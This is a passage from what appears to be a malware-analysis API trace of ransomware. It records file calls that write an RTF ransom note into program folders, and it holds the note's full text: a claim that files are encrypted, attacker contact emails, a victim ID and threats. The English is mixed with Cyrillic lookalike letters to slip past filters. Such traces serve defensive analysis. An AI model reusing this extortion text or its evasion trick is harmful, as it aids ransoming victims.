\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.507] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.508] CloseHandle (hObject=0x1cc) returned 1 [0040.508] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\!bwng_info!.rtf")) returned 0xffffffff [0040.508] GetLastError () returned 0x2 [0040.508] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 